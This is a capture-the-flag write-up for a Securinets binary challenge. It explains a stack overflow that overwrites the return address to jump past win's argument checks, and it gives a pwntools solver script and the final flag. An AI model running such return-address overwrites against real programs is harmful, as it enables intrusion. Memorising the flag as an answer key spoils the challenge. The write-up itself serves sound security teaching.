skiiiiiip

Walkthrough

Solution

The fixed 48-byte read reaches the saved return address at offset 40. Calling win normally would fail its three argument checks, but jumping to win + 0x38 skips the validation and lands in the path-decoding and file-reading portion of the function. Submit 40 padding bytes followed by that internal address.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"
elf = ELF("./main", checksec=False)

io = remote("127.0.0.1", 9005)

payload = b"A" * 40
payload += p64(elf.symbols["win"] + 0x38)

io.sendafter(b"SKIP: ", payload)
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()

Flag

Securinets{sk1pp3d_th3_1ntr0_st0l3_th3_bu1ld}